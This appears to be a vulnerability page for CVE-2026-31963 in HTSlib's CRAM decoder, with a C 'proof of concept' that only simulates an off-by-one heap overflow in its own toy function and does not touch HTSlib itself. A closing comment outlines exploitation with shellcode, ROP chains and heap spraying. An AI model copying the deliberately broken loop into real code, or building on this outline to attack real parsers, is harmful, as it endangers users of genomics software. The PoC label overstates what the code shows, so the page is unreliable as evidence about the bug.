CVE-2026-31963 HTSlib CRAM文件解析堆缓冲区溢出漏洞

// CVE-2026-31963 PoC - Heap Buffer Overflow in HTSlib CRAM decoding // This PoC demonstrates the off-by-one error in CRAM feature decoding // Note: This is a conceptual PoC; actual exploitation requires specific CRAM file crafting #include <stdio.h> #include <stdlib.h> #include <string.h> // Simplified CRAM container structure for demonstration typedef struct { uint32_t container_size; uint32_t feature_count; uint8_t* features; uint32_t buffer_size; } cram_container_t; // Function to simulate vulnerable CRAM feature decoding int decode_cram_features(cram_container_t* container) { // Allocate buffer based on expected feature count uint8_t* heap_buffer = (uint8_t*)malloc(container->feature_count); if (!heap_buffer) { return -1; } // Vulnerable code: off-by-one error in boundary check // The condition should be "i < container->feature_count" not "i <= ..." for (uint32_t i = 0; i <= container->feature_count; i++) { // This write can overflow when i == container->feature_count heap_buffer[i] = container->features[i]; // Off-by-one write! } free(heap_buffer); return 0; } // Function to create malicious CRAM container cram_container_t* create_malicious_cram() { cram_container_t* container = (cram_container_t*)malloc(sizeof(cram_container_t)); container->feature_count = 10; container->buffer_size = 10; container->features = (uint8_t*)malloc(container->feature_count); // Fill with controlled data memset(container->features, 0x41, container->feature_count); return container; } int main() { printf("CVE-2026-31963 PoC - HTSlib CRAM Heap Overflow\n"); printf("This PoC demonstrates the off-by-one error in CRAM feature decoding\n"); cram_container_t* malicious = create_malicious_cram(); if (malicious) { decode_cram_features(malicious); free(malicious); } return 0; } /* To exploit this vulnerability: 1. Create a malicious CRAM file with crafted features 2. Ensure feature_count is set to trigger the off-by-one condition 3. Include shellcode or ROP chain in the overflow data 4. Overwrite adjacent heap structures to gain control Note: Actual exploitation requires detailed knowledge of heap layout and may need heap spraying techniques to increase reliability. */